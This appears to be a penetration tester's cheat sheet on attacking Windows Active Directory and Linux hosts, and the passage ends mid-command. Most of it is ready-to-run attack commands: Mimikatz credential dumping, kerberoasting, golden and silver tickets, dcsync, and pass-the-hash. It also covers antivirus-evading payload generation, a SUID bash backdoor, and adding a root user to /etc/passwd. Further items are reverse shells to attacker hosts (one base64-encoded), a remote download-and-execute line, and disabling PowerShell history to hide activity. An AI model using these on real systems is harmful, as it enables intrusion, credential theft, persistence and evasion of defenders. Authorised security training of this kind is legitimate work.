Directory Enumeration\nThe AD enumeration is a crucial part to get the informations on what is running on the systems joined in the AD network, along with the users and groups. We can use basic .NET functions or directly, if we can download or transfer programs on the machine, use some automated tools.\n\n### CMD Enumeration\n[Basic Win CMD for Pentesters](https://book.hacktricks.xyz/windows-hardening/basic-cmd-for-pentesters#domain-info)\n\n### Nice to know: PowerView\nPowerView is a very useful tool to enumerate many things in the windows machine and the domain. [Here](https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993) there are some useful tricks with it.\n\n### Swiss Army Knife: WADComs\n[WADComs](https://wadcoms.github.io/) is a userful tool that gives you an overview of what you have and what you can do with the things that you have.\n\n### PowerSploit\n[PowerSploit](https://powersploit.readthedocs.io/en/latest/Recon/) is a useful tool that can be used to perform automatic enumeration. It has to be loaded in the system with\n\n```powershell\npowershell -ep bypass\nImport-Module .\\PowerSploit.ps1\n```\n\nDomain enumeration\n\n```powershell\nGet-NetDomain\n```\n\nUser enumeration\n\n```powershell\nGet-NetUser\n```\n\nGroups enumeration\n\n```powershell\nGet-NetGroup\n```\n\nGet Access Control Entries\n\n```powershell\nGet-ObjectAcl -Identity \u003cUSERNAME\u003e\n```\n\nConvert SID to name\n\n```powershell\nConvert-SidToName S-1-5-21-1987370270-658905905-1781884369-1104\n```\n\nFilter Identities for GenericAll ACL\n\n```powershell\nGet-ObjectAcl -Identity \"Management Department\" | ? {$_.ActiveDirectoryRights -eq \"GenericAll\"} | select SecurityIdentifier,ActiveDirectoryRights\n```\n\nGet-ObjectAcl -Identity stephanie\n\nEnumerate object in the domain, selecting the operating system\n\n```powershell\nGet-NetComputer | select operatingsystem\n```\n\nTo enumerate the machines in the domain with Admin access for our user\n\n```powershell\nFind-LocalAdminAccess\n```\n\nWe can confirm it via\n\n```powershell\nGet-NetSession -ComputerName \u003cCOMPUTER-NAME\u003e\n```\n\nEnumerate Service Principal Names\n\n```powershell\nGet-NetUser -SPN | select samaccountname,serviceprincipalname\n```\n\nOr with a builtin tool\n\n```powershell\nsetspn -L \u003cSERVICE-NAME\u003e\n```\n\n### PsLoggedon\n[PsLoggedon](https://learn.microsoft.com/it-it/sysinternals/downloads/psloggedon) is a useful tool that checks (if we have the right privileges) the other user sessions in the other systems of the domain.\n\n```powershell\n.\\PsLoggedon.exe \\\\\u003cCOMPUTER-NAME\u003e\n```\n\n### SharpHound and BloodHound\nThe [https://github.com/BloodHoundAD](https://github.com/BloodHoundAD/) utils are very useful in the AD enumeration for gathering informations about logged on users, and general data collection. `In order to perform succesful enumeration remember to download the right versions of the tools.`\nIf we are using BloodHound v4.3.1 we must use the relative SharpHound v4.3.1, otherwise this will not work and the import of the audit.zip will be stuck at 0%. Under Collectors/SharpHound.ps1 we can find the correct version supported from the current BloodHound build.\n\n#### [SharpHound](https://github.com/BloodHoundAD/SharpHound)\nSharpHound is used for the data collection part.\n\nWe first import it with\n\n```powershell\nImport-Module .\\SharpHound.ps1\n```\n\nAnd we run the script, saving information in a ZIP file for easy transfer in our \u003cPATH\u003e\n\n```powershell\nInvoke-BloodHound -CollectionMethod All -OutputDirectory \u003cPATH\u003e -OutputPrefix \"audit\"\n```\n\nFor a SMB enumeration we can list the shares and check if we can access them\n\n```powershell\nFind-DomainShare\n```\n\nIf in the sares we find some old credentials, encrypted with AES-256 we can decrypt it in the kali machine with\n\n```powershell\ngpp-decrypt \u003cCREDENTIALS\u003e\n```\n\n#### [BloodHound](https://github.com/BloodHoundAD/BloodHound)\nIs a useful graphical interface for printing the SharpHound retrieved data. It can print various information and make a diagram on what victim target first to gain AD Admin access. Here we can list users groups, sessions etc. The element displayed with the full SID are local object of the machines.\n\nA useful RAW query to list all computer in a domain is the following\n\n```script\nMATCH(m:Computer) RETURN m\n```\n\nTo list all users\n\n```script\nMATCH(m:User) RETURN m\n```\n\nFind active session for users and bind them to the computer\n\n```script\nMATCH p = (c:Computer)-[:HasSession]-\u003e(m:User) RETURN p\n```\n\nDelete data from Neo4J\n\n```script\nmatch (a) -[r] -\u003e () delete a, r\nmatch (a) delete a\n```\n\n# Active Directory Authentication\n\n## NTLM\n\u003c!-- https://www.crowdstrike.com/cybersecurity-101/ntlm-windows-new-technology-lan-manager/ --\u003e\nWindows New Technology LAN Manager (NTLM) is a suite of security protocols offered by Microsoft to authenticate users’ identity and protect the integrity and confidentiality of their activity. At its core, NTLM is a single sign on (SSO) tool that relies on a challenge-response protocol to confirm the user without requiring them to submit a password. Despite known vulnerabilities, NTLM remains widely deployed even on new systems in order to maintain compatibility with legacy clients and servers. While NTLM is still supported by Microsoft, it has been replaced by Kerberos as the default authentication protocol in Windows 2000 and subsequent Active Directory (AD) domains. \n\n    - The user shares their username, password and domain name with the client.\n    - The client develops a scrambled version of the password — or hash — and deletes the full password.\n    - The client passes a plain text version of the username to the relevant server.\n    - The server replies to the client with a challenge, which is a 16-byte random number.\n    - In response, the client sends the challenge encrypted by the hash of the user’s password.\n    - The server then sends the challenge, response and username to the domain controller (DC).\n    - The DC retrieves the user’s password from the database and uses it to encrypt the challenge.\n    - The DC then compares the encrypted challenge and client response. If these two pieces match, then the user is authenticated and access is granted.\n\n \u003cp align=\"center\"\u003e\n  \u003cimg src=\"img/ntlm.png\" /\u003e\n\u003c/p\u003e\n\n \n## Kerberos\n\u003c!-- https://www.fortinet.com/it/resources/cyberglossary/kerberos-authentication --\u003e\nKerberos authentication is currently the default authorization technology used by Microsoft Windows. It provides a credible security solution for businesses of all sizes. \nKerberos uses symmetric key cryptography and a key distribution center (KDC) to authenticate and verify user identities. A KDC involves three aspects:\n\n    - A ticket-granting server (TGS) that connects the user with the service server (SS)\n    - A Kerberos database that stores the password and identification of all verified users \n    - An authentication server (AS) that performs the initial authentication \n\nDuring authentication, Kerberos stores the specific ticket for each session on the end-user's device. Instead of a password, a Kerberos-aware service looks for this ticket. Kerberos authentication takes place in a Kerberos realm, an environment in which a KDC is authorized to authenticate a service, host, or user. \n\nKerberos authentication is a multistep process that consists of the following components: \n\n    - The client who initiates the need for a service request on the user's behalf \n    - The server, which hosts the service that the user needs access to\n    - The AS, which performs client authentication. If authentication is successful, the client is issued a ticket-granting ticket (TGT) or user authentication token, which is proof that the client has been authenticated. \n    - The KDC and its three components: the AS, the TGS, and the Kerberos database\n    - The TGS application that issues service tickets \n    \n \u003cp align=\"center\"\u003e\n  \u003cimg src=\"img/kerberos.png\" /\u003e\n\u003c/p\u003e\n\n## Get tickets and passwords with Mimikatz\nIn modern versions of Windows the user hashes are stored in the Local Security Authority Subsystem Service or [LSASS](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service)\nWe can dump sensitive informations about accesses with Mimikatz. We can run Mimikatz with\n\n```powershell\n.\\mimikatz.exe\n```\n\nWe can use logonpasswords to dump hashed for all users logged on to the current workstation or server\n\n```powershell\nprivilege::debug\nsekurlsa::logonpasswords\n```\n\nOnce we've executed the directory listing on a SMB share or we use another ticket-based-service, we can use Mimikatz to show the tickets that are stored in memory by entering\n\n```powershell\nprivilege::debug\nsekurlsa::tickets\n```\n\n### [Kerberos attacks cheatsheet](https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a)\n\n## Password Attack\nWe can do various password attacks on the Windows AD to get the user access credentials\n\n### [PasswordSpray.ps1](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1)\nIt is a powershell script that tries the passwords for all users in the domain, that has to be launched inside an AD-joined machine.\n\n\n```powershell\n.\\Spray-Passwords.ps1 -Pass \u003cPASSWORD\u003e\n```\n\n### [Kerbrute](https://github.com/ropnop/kerbrute)\nFrom a Linux machine instead we can run AD password attack with Kerbrute. We can use this script also from a Window machine joined in the domain.\n\n```bash\n./kerbrute_linux_amd64 passwordspray -d \u003cDOMAIN\u003e domain_users.txt \u003cPASSWORD\u003e\n```\n\nKerbrute can be used also to get a list of users, if the machine is vulnerable to as-rep roasting. Search for valid user without credentials with the following\n\n```bash\nkerbrute userenum -d \u003cDOMAIN\u003e usernames.txt\n```\n\nor\n\n```bash\nkerbrute -domain \u003cDOMAIN\u003e -users users.txt -dc-ip \u003cIP\u003e\n```\n\n### [Crackmapexec](https://github.com/byt3bl33d3r/CrackMapExec)\nCrackmapexec is a tool for password spraying in the Active Directory network. It can be used for example against the SMB service with\n\n```bash\ncrackmapexec smb \u003cIP\u003e -u users -p '\u003cPASSWORD\u003e' -d \u003cDOMAIN\u003e --continue-on-success\n```\n\nList access for shares in the domain for the users in users.txt with passwords passwords.txt\n\n```bash\ncrackmapexec smb \u003cIP\u003e -u users.txt -p passwords.txt --shares\n```\n\nRun crackmapexec through a proxy (eg chisel) and performing a **local authentication** (No Active Directory Authentication)\n\nproxychains crackmapexec smb \u003cIP\u003e -u users.txt -p 'PASSWORD' --continue-on-success --local-auth\n\nRun crackmapexec and dump [LAPS](https://www.n00py.io/2020/12/dumping-laps-passwords-from-linux/) passwords\n\n```bash\ncrackmapexec ldap 192.168.219.122 -u fmcsorley -p CrabSharkJellyfish192 --kdcHost 192.168.219.122 -M laps\n```\n\nRun crackmapesec to against mssql\n\n```bash\ncrackmapexec mssql -d \u003cDOMAIN\u003e -u \u003cusername\u003e -p \u003cpassword\u003e -x \"whoami\"\n```\n\n### LDAP\nFirst we run nmap agains ldap server\n\n```bash\nnmap --script \"ldap* and not brute\" $ip -p 389 -v -Pn -sT \u003cIP\u003e\n```\n\nThen using ldapsearch we can extract credentials. The -b parameter in the ldapsearch command specifies the base DN (Distinguished Name) for the search. The DN is essentially the starting point in the LDAP directory tree from which the search will begin. Think of it as the root of your search within the LDAP structure. Example taken from [here](https://medium.com/@0xrave/kyoto-proving-grounds-practice-walkthrough-active-directory-820dfcff5ddd).\n\n```bash\nldapsearch -x -h \u003cIP\u003e -b \"dc=X,dc=Y\"\n```\n\n### AS-REP Roasting\nIf the AD authentication is configured without the Kerberos Preauthentiction enabled\u003c!-- https://medium.com/r3d-buck3t/kerberos-attacks-as-rep-roasting-2549fd757b5 --\u003e, any user can request a TGT. We can use the `impacket-GetNPUsers` util on Kali. A good explaination of this attack can be found [here](https://en.hackndo.com/kerberos-asrep-roasting/).\n\n```bash\nimpacket-GetNPUsers -dc-ip \u003cIP-DC\u003e  -request -outputfile hashes.asreproast corp.com/\u003cUSER\u003e\n```\n\nAS-Rep roasting tickets (TGT) has this format: `$krb5asrep$23$`.\n\nIn the powershell the specular program is [Rubeus](https://github.com/GhostPack/Rubeus)\n\n```powershell\n.\\Rubeus.exe asreproast /nowrap\n```\n\nIn both cases we have to know at leas the password of one of the AD users. For this reason this and the following tecniques are **post-exploitation** attacks. When we gain the hash it can be cracked with hashcat.\n\n```bash\nsudo hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force\n```\n\n### Kerberoasting\nWith kerberoasting we are requesting SPN's TGS to the DC. The user that can access the service, for the Windows AD design, can access also the SPN and then the TGS, in order to use the service. We will abuse a service ticket in order to crack the password of the service account. We can run the attack from Rubeus with a user in the AD, and will be targeted only the **Service Principal Names** linked to the account user.\n\nFrom the Kali machine we can run the attack with \n\n```bash\nsudo impacket-GetUserSPNs -request -dc-ip \u003cDC-IP\u003e corp.com/\u003cUSER\u003e\n```\n\nThe `-request` flag is requesting the DC a TGS for every SPN the logged user has access to. Dumping the tickets could let us to the password because it contains password of the SPN in hash.\nThe TGS ticket will begin with this format: `$krb5tgs$23$`.\n\nFrom the Windows machine we can use Rubeus\n\n```powershell\n.\\Rubeus.exe kerberoast /outfile:hashes.kerberoast\n```\n\nAgain now we copy the hash and we crack it with hashat with the Kerberos code\n\n```bash\nsudo hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt --force\n```\n\n### Creating silver tickets\nWe can use Mimikatz to dump hashes and craft a ticket for services access.\n\nFirst we take the DOMAIN SID with\n\n```powershell\nwhoami /user\n```\nWe extract the domain\n\n```txt\ncorp\\user **S-1-5-21-xxxxxxxx-xxxxxxx-xxxxxxxx**-xxxx\n```\n\nThen with Mimikatz we dump service hashes\n\n```powershell\nprivilege::debug\nsekurlsa::logonpasswords\n```\n\nHere we take the NTLM HASH of the service, for example the `iss_service`. Next we can run the attack inside Mimikatz. In the following case we will target the ISS Microsoft service.\n\n```powershell\nkerberos::golden /sid:\u003cSID\u003e /domain:\u003cDOMAIN\u003e /ptt /target:\u003cTARGET\u003e /service:http /rc4:\u003cHASH\u003e /user:\u003cUSER\u003e\n```\n\nNow we can dump our tickets with\n\n```powershell\nklist\n```\n\n The ticket will be crated for the admin user and for the local user. We can craft authenticated request to the ISS server.\n\n```powershell\niwr -UseDefaultCredentials \u003cURL\u003e\n```\n\n### Domain Controller Synchronization\nWhen the AD has to synchronize the domains, it runs the Directory Replication Service (DRS) Remote Protocol. Because the domain doesnpt verify the origin of the request, we can perform a **dcsync** attack that could dump any user credential in the domain. We can use the `impacket-secretsdump` utility. First we run Mimikatz with the dsync attack.\n\n```powershell\nlsadump::dcsync /domain:\u003cDOMAIN\u003e /user:Administrator\n```\n\nWe crack the NTLM HASH with hashcat\n\n```powershell\nhashcat -m 1000 hashes.dcsync /usr/share/wordlists/rockyou.txt --force\n```\n## Lateral Movement in Active Directory\nMoving between AD Joined machines can be very powerful in order to execute various tasks. We can use many tools to connect to the machines.\n\n### WMIC\nThis is deprecated in new Windows versions, and must be Local Admin to run this command, but if we are we can run\n\n```powershell\nwmic /node:\u003cNODE-IP\u003e /user:\u003cUSER\u003e /password:\u003cPASSWORD\u003e process call create \"calc\"\n```\n\n### WINRS\nWindows Remote Shell is command that needs the Domain Admin permission to be executed. WinRM is a built-in for WinRS\n```powershell\nwinrs -r:\u003cNODE-IP\u003e -u:\u003cUSER\u003e -p:\u003cPASSWORD\u003e  \"cmd /c hostname \u0026 whoami\"\n```\n\n### Powershell WinRM capability\nWe can use WinRM directly in Powershell with the script\n\n```powershell\n$username = '\u003cUSERNAME\u003e';\n$password = '\u003cPASSWORD\u003e';\n$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;\n$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;\nNew-PSSession -ComputerName \u003cIP\u003e -Credential $credential\n```\n\nWe can switch between PS WinRM sessions with\n\n```powershell\nEnter-PSSession 1\n```\n\n### PsExec\nPsExec is a good utility in the [SysInternals suite](https://learn.microsoft.com/en-us/sysinternals/downloads/). To use this we have to be Local Administrators and the ADMIN$ share must be exposed with File and Printer Sharing that has to be turned on. This, in the Windows AD machines is enabled by default. We can run PsExec with the following syntax.\n\n```powershell\n./PsExec64.exe -i  \\\\\u003cMACHINE-IP\u003e -u corp\\\u003cUSER\u003e -p \u003cPASSWORD\u003e cmd\n```\n\nFrom the kali machine we can use **impacket-psexec** to run commands on Windows AD joined machines\n\n```bash\nproxychains impacket-psexec \u003cDOMAIN\u003e/Administrator:'PASSWORD'@\u003cIP\u003e\n```\n\n### Pass the hash\nIf the server has SMB active and the Windows File and Printer Sharing feature to be enabled we can use the previously gained hash to authenticate has another user using only the hash. For this purpose we can use the `impacket-wmiexec` utility in Kali. This will not work in Kerberos authentication but can grant us the access to the system.\n\n```powershell\nimpacket-wmiexec -hashes :2892D26CDF84D7A70E2EB3B9F05C425E Administrator@\u003cIP\u003e\n```\n\n### Overpass the hash\nWe can abuse the hash to gain a full Kerberos TGT to gain then a TGS. To run this attack the credentials has to be cached and this means that in the machine there has to be a session for another user that executed some programs before us. Then we can rely on Mimikatz to get the cached hases. `The core concept of  this attack is to obtain functionant TGT Kerberos ticket without using the NTLM authentication actively over the network.`\n\n```powershell\nprivilege::debug\nsekurlsa::logonpasswords\nsekurlsa::pth /user:\u003cUSER\u003e /domain:\u003cORG\u003e /ntlm:\u003cNTLM-HASH\u003e /run:powershell\n```\nIn the new shell we can use\n\n```powershell\nnet use \\\\\u003cSMB-SHARE\u003e\nklist\n```\n\nTo list all tickets. If we don't use some authentication before, we will not have any tickets because this is a new session.\n\nWe can now use `PsExec` to perform a lateral movement on the user we impersonated before\n\n```powershell\n.\\PsExec.exe \\\\files04 cmd\n```\n\n**In this way we can convert a NTLM hash in a TGT and we can use tools like PsExec to authenticate in another Windows machine with the TGT ticket. **\n\n### Pass the ticket\nIf a TGT ticket stays for the machine it was created for, but a TGS can be used in more ways. Here the TGS is reused to authenticate over the network and if the ticket belong to the current user, no Admin privilege is required. Here again we have to gain a pre-existent session in the machine and we have to dump the hases and export them in the directory. This will create some `.kirbi` files that can be reimported for another user.\n\n```powershell\nprivilege::debug\nsekurlsa::tickets /export\n```\n\nThis is the Mimikatz command to import a ticket inside the current user session\n\n```powershell\nkerberos::ptt [0;12bd0]-0-0-xxxxxxxx-\u003cUSER\u003e@\u003cSERVICE\u003e-\u003cMACHINE\u003e.kirbi\n```\n\nAgain with `klist` we can list our new tickets (the new one should appear) and we can use the ticket to enter the service the ticket was for.\n\n### DCOM\nThe Distributed Component Object Model can be used to perform lateral movement too. This is based on [COM](https://learn.microsoft.com/en-us/windows/win32/com/component-object-model--com--portal?redirectedfrom=MSDN) and is used for inter-communication between computer on a network. DCOM needs RCP on the TCP port 135 to be executed and a local Admin access. It is based on the Microsoft Management Console. We can run a reverse shell with DCOM with\n\n```powershell\n$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID(\"MMC20.Application.1\",\"\u003cIP\u003e\"))\n$dcom.Document.ActiveView.ExecuteShellCommand(\"powershell\",$null,\"powershell -nop -w hidden -e \u003cREVSHELL-ENCODED\u003e\",\"7\")\n```\n\nOn our attacker computer we must have a netcat listener active\n\n## Active Directory Persistence\nAfter an exploit, to mantain a session once rebooted, changed credentials, etc.. we can craft custom golden tickets.\n\n### Golden Tickets\nFirst we start Mimikatz to dump the NTLM HASH for the `krbtgt` account along with the Domain SID on the **exploited Domain Controller**.\n\n```powershell\nprivilege::debug\nlsadump::lsa /patch\n```\n\nThen we purge the credentials and craft the golden ticket for our current user, on the target machine, even if the machine is outside of the domain.\n\n```powershell\nkerberos::purge\nkerberos::golden /user:\u003cUSER\u003e /domain:\u003cDOMAIN\u003e /sid:S-1-5-21-xxxxxx-xxxxx-xxxxx /krbtgt:\u003cHASH\u003e /ptt\nmisc::cmd\n```\n\nNow we have a golden ticket associated with the user session. Once the cmd shell is open we can run with `PsExec` the commands on the Domain Controller using our user that has the golden ticket.\n\n```powershell\nPsExec.exe \\\\dc1 cmd.exe\n```\n\n### Shadow Copies\nThis is a Microsoft's backup technology to perform snapshots of data. The utility is [VShadow Tool and Sample](https://learn.microsoft.com/en-us/windows/win32/vss/vshadow-tool-and-sample). We run the command with\n\n```powershell\nvshadow.exe -nw -p  C:\n```\n\nWe must save the shadow device name to reuse it when we save the backup on the C:\\ disk.\n\n```powershell\ncopy \\\\?\\GLOBALROOT\\Device\\\u003cNAM\u003e\\windows\\ntds\\ntds.dit c:\\ntds.dit.bak\n```\n\nAs the last thing we save the Windows Registry hive.\n\n```powershell\nreg.exe save hklm\\system c:\\system.bak\n```\n\nWe can then extract back the data on the Kali machine providing the ntds database and the hive.\n\n```bash\nimpacket-secretsdump -ntds ntds.dit.bak -system system.bak LOCAL\n```\n\n# Virus Crafting\nA common way to get into the victim's system is to create executables or runnable files that are with the purpose of gaining reverse shells or dumping sensitive informations. It is important to bypass antivirus and file checks. \nA good way to know if the crafted file is malicious or not, and respectively a good way to check if the executable files we downloaded have hidden malicious instructions is to use [VirusTotal](https://www.virustotal.com) or other web analyzers. Typically they check for meaningful fingerprint and they compare them to the most common malicious and know fingerprint found. If one ore more fingerprint is recognized, the file will be flagged as dangerous.\n\n## [Shellter](https://github.com/ParrotSec/shellter)\nA famous tool to modify a executable files is Shellter. As the GitHub page says, Shellter is a dynamic shellcode injection tool aka dynamic PE infector. It can be used in order to inject shellcode into native Windows applications (currently 32-bit apps only). The shellcode can be something yours or something generated through a framework, such as Metasploit. Providing a PE file (the executable file format for Windows), like some 32 bit installer, Shellter will inject malicious instruction in order to bind with a reverse shell the victim with the attacker machine, once double clicked. It provides also the `stealth mode` that can try to evade antivirus detection with various tecniques.\n\n## [Veil Framework](https://github.com/Veil-Framework/Veil)\nVeil is a Framework that generates metasploit payloads that bypass common anti-virus solutions. It can generate a payloads for many scenarios. \nAn example of Veil usage for a simple revshell using a batch file `(.bat)` is the following\n\n```bash\nveil -t Evasion -p powershell/meterpreter/rev_tcp.py --ip \u003cIP\u003e --port \u003cPORT\u003e\n```\n\nThis is binded to the follow meterpreter listener\n\n```bash\nmsfconsole -x \"use exploit/multi/handler;set payload windows/meterpreter/reverse_tcp;set LHOST \u003cLHOST\u003e;set LPORT \u003cLPORT\u003e;run;\"\n```\n\n# Backdoor\nLeaving a backdoor in a system can easily let us come back later and gain immediatly control over the machine. The simplest \"root\" backdoor on Linux can be done with bash. Just using\n\n```bash\nsudo chmod +s /bin/bash\n```\n\nWill set the SUID over the bash binary. That means that using\n\n```bash\n/bin/bash -p\n```\n\nA **root** shell will be gained. The \"-p\" option preserve the SUID bit. In this way the bash program is called with the owner privileges (root) and if It is not called with \"-p\" It remains a normal bash shell. Many programs like linpeas.sh or some privesc checker will anyway find this backdoor and report it.\n\n# Reverse Shell VS Bind Shell\nWhat use and when? Typically we use the bind shell in two scenarios. The first is the one in which we already have the access to the machine and we want a persistent access or a backdoor on it. In order to do that we could set a service that binds that port at every boot of the machine. The second scenario is the one in which we are not in the same internal network of the machine and we can't reach our machine from the victim because, for example, we are reaching the victim through web access and to obtain a reverse shell we likely have to enable port forwarding on the router of our networking. In this scenario a bind shell could let the attacker conenct to the victim knowing only the external IP of the victim.\n\n## Reverse Shell\nReceiving a command line access to a remote machine, where the victim enstablish the connection to the attacker machine that is the listener.\n\nOnce the reverse shell payload is executed on the victim machine, on the attacker the listener will be\n\n```bash\nnc -lvnp 4444 -e /bin/bash\n```\n\n## Bind Shell\nReceiving a command line access to a remote machine, where the victim enstablish the connection to the victim machine that is the listener.\n\nOnce the foothold is gained on the victim machine, It can be set up a listener that opens a shell at every connection. After the following conenction is made, we can obtain a shell access on the victim machine. This command is run from the attacker.\n\n```bash\nnc \u003cREMOTE-IP\u003e 4444\n```\n\n\n# Shell Stabilization\nOnce we gain a shell, many times we don't have a fully interactive environment. We can use many tools to stabilize it.\n\n## Netcat\nFrom the kali machine we run the listener\n\n```bash\nnc -lvp \u003cPORT\u003e\n```\n\nFrom the Windows machine\n\n```powershell\n.\\nc.exe \u003cIP\u003e \u003cPORT\u003e -e powershell\n```\n\nIf we have a linux machine\n\n```powershell\n.\\nc.exe \u003cIP\u003e \u003cPORT\u003e -e bash\n```\n\n## Python3\nChecking if the terminal is tty, otherwhise spawn a tty with python3\n\n```bash\ntty\npython3 -c 'import pty; pty.spawn(\"/bin/bash\")'\n```\n\n## Powercat\nWe can use Powercat to serve the shell on the listener\n\n```bash\nnc -lvp \u003cPORT\u003e\n```\n\n```powershell\npowercat -l -p \u003cPORT\u003e -e cmd\n```   \n\n# Useful Linux Commands\n## File Transfer\n\nMount a SMB share in the system\n\n```bash\nsudo mount -t cifs -o 'user=\u003cUSERNAME\u003e' //\u003cIP\u003e/share /mnt/share\n```\n\nPrint permissions over a SMB share for the folder Folder\n\n```bash\nsmbcacls --no-pass //\u003cIP\u003e/share Folder\n```\n\nMake a SMB2 server with name test and credentials.\n\n```bash\nimpacket-smbserver share .  -smb2support -user user -password password\n```\nThe connection will be done from the Windows client using `\\\\IP\\share` as share location and the credentials.\n\nFrom the Windows Machine the volume can be mounted with\n\n```powershell\nnet use H: \\\\\u003cKALI-IP\u003e\\share password /user:user \n```\n\nTransfer files with SSH using a single binary with [pscp](https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html)\n\n```powershell\nC:\\Users\\Public\\pscp.exe FILE user@\u003cIP\u003e:C:\\Users\\Public\n```\n\nList all installed packages\n\n```bash\ndpgk -l\n```\n\nList all disks\n\n```bash\nlsblk\n```\n\nList all mounts\n\n```bash\nmount\n```\n\nList all kernel modules\n\n```bash\nlsmod\n```\n\nGain information of a module\n\n```bash\nmodinfo \u003cMODULE\u003e\n```\n\nView connections and listening ports\n\n```bash\nss -anp\n```\n\nFind writable files in the system\n\n```bash\nfind / -writable -type d 2\u003e/dev/null\n```\n\nFind files with SUID in the system\n\n```bash\nfind / -perm -u=s -type f 2\u003e/dev/null\n```\n\nAdd a TCPDUMP listener on lo interface\n\n```bash\n sudo tcpdump -i lo -A | grep \"searchword\"\n ```\n\n List sudoer capabilities for a given user\n\n ```bash\nsudo -l\n```\n\nList all executed cronjobs\n\n ```bash\ngrep \"CRON\" /var/log/syslog\n ```\n\nGenerating a new user in /etc/passwd\n\n ```bash\nopenssl passwd \u003cPASSWORD\u003e\necho \"\u003cROOT-USERNAME\u003e:\u003cPASSWORD-HASH\u003e:0:0:root:/root:/bin/bash\" \u003e\u003e /etc/passwd\n ```\n\nGet informations of a process\n\n ```bash\n ps u -C \u003cPROCESS-NAME\u003e\ncat /proc/\u003cPID\u003e/status\n ```\n\nBase64 encoded and decoded revshell (usually for WEB RCE purpose)\n```bash\necho c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNS80NDQ1IDA+JjE= | base64 -d | bash\n```\n\n```bash\necho \u003cBASE64 ENCODED REVSHELL\u003e | base64 -d | bash\n```\n\nNamed pipe revshell (usually for WEB RCE purpose)\n\n```bash\nrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2\u003e\u00261|nc \u003cATTACKER-IP\u003e \u003cPORT\u003e \u003e/tmp/f\n```\n\nShow git altered files in a git folder\n\n```bash\ngit log -p\n```\n\nShow git diff of a commit\n\n```bash\ngit diff-tree -p \u003cCOMMIT\u003e\n```\n\nRecursive cat in a folder and grep for string \"password\"\n\n```bash\nfind . -exec cat {} + | grep -i password\n```\n\nDownload all the resources on a FTP server\n\n```bash\nwget -r --user=\"USERNAME\" --password=\"PASSWORD\" ftp://\u003cIP\u003e\n```\n\n# Useful Windows Commands\nFind a file in the system\n\n```powershell\nGet-ChildItem -Path C:\\ -Include *.EXTENSION -File -Recurse -ErrorAction SilentlyContinue\n```\n\nFilter for a specific extension of a file in the Administrator folder\n\n```powershell\nGet-ChildItem -Path C:\\Users\\Administrator\\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx,*.kdbx,*.exe,*.png,*.jpg,*.bin,*.zip,*.bak*,*.md -File -Recurse -ErrorAction SilentlyContinue\n```\n\nFind groups of the user Administrator\n\n```powershell\nnet user Administrator\n```\n\nRun a user with another user's identity\n\n```powershell\nrunas /user:Administrator cmd\n```\n\nFind identity of the current user\n\n```powershell\nwhoami\n```\n\nDisplay the groups of the current user\n\n```powershell\nwhoami /groups\n```\n\nDisplay the user privileges\n\n```powershell\nwhoami /priv\n```\n\nGet a list of all local users\n\n```powershell\nGet-LocalUser\n```\n\nGet a list of all local groups\n\n```powershell\nGet-LocalGroup\n```\n\nGet the list of user for a group\n\n```powershell\nGet-LocalGroupMember \u003cGROUPNAME\u003e\n```\n\nGather OS info, CPU info, RAM, BIOS version etc...\n\n```powershell\nsysteminfo\n```\n\nGather network information such as IP, DNS servers, DHCP info etc...\n\n```powershell\nipconfig /all\n```\n\nDisplay routing table\n\n```powershell\nroute print\n```\n\nList active network connection (**-a** for active TCP connections/UDP ports, **-n** for no name resolution, **-o** for displaying process ID)\n\n```powershell\nnetstat -ano\n```\n\nGet informations of installed applications and filter for useful informations. For 32 bit application we use\n```powershell\nGet-ItemProperty \"HKLM:\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*\" | select displayname \n```\n\nAnd for 64 bit applications\n\n```powershell\nGet-ItemProperty \"HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*\" | select displayname\n```\n\nGet the list of running processes\n\n```powershell\nGet-Process\n```\n\nGet powershell history\n\n```powershell\nGet-History\n```\n\nIf it is used the `Clear-History` command we could retrive the history with `PSReadline`\n\n```powershell\n(Get-PSReadlineOption).HistorySavePath\n```\n\nIn order to prevent also that this history is saved, we must clear the history with\n\n```powershell\nSet-PSReadlineOption, -HistorySaveStyle, SaveNothing\n```\n\nRun a ps script from RAM\n\n```powershell\niwr -uri http://\u003cATTACKER-IP\u003e/winPEASx64.exe -Outfile winPEAS.exe\n```\nor\n\n```powershell\npowershell -ep bypass -c \"iex(iwr -uri \u003cIP\u003e/script.ps1 -usebasicparsing)\"\n```\n\nGet a list of the **running** Windows Services\n\n```powershell\nGet-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}\n```\n\nShow user permissions on a file\n\n```powershell\nicacls \"C:\\path\\to\\file.exe\"\n```\n\nStart or stop a service\n\n```powershell\nnet stop apache2\nnet start apache2\n```\n\nPrint all files in a directory\n\n```powershell\nGet-ChildItem -Path \"C:\\Users\\diana\\Documents\" | ForEach-Object { Write-Host \"Contents of $($_.Name):\"; Get-Content $_.FullName; Write-Host \"-------------------------\" }\n```\n\nShow listening TCP ports\n\n```powershell\nnetstat -anp TCP | find \"\u003cPORT\u003e\"\n```\n\nGet the list of the domain computers\n\n```powershell\n net view\n ```\n\nView the list of shares in a domain SMB machine\n\n```powershell\n net view \\\\\u003cCOMPUTER-NAME\u003e\n```\n\nRecursively copy folder A in folder B\n\n```powershell\nCopy-Item C:\\path\\to\\A H:\\B -Recurse -Force\n```\n\n[Crazywifi's oneliner](https://github.com/crazywifi/Enable-RDP-One-Liner-CMD) for adding user to RDP\n\n```powershell\nnet user /add (Username) (Password) \u0026\u0026 net localgroup administrators (Username) /add \u0026 net localgroup \"Remote Desktop Users\" (Username) /add \u0026 netsh advfirewall firewall set rule group=\"remote desktop\" new enable=Yes \u0026 reg add 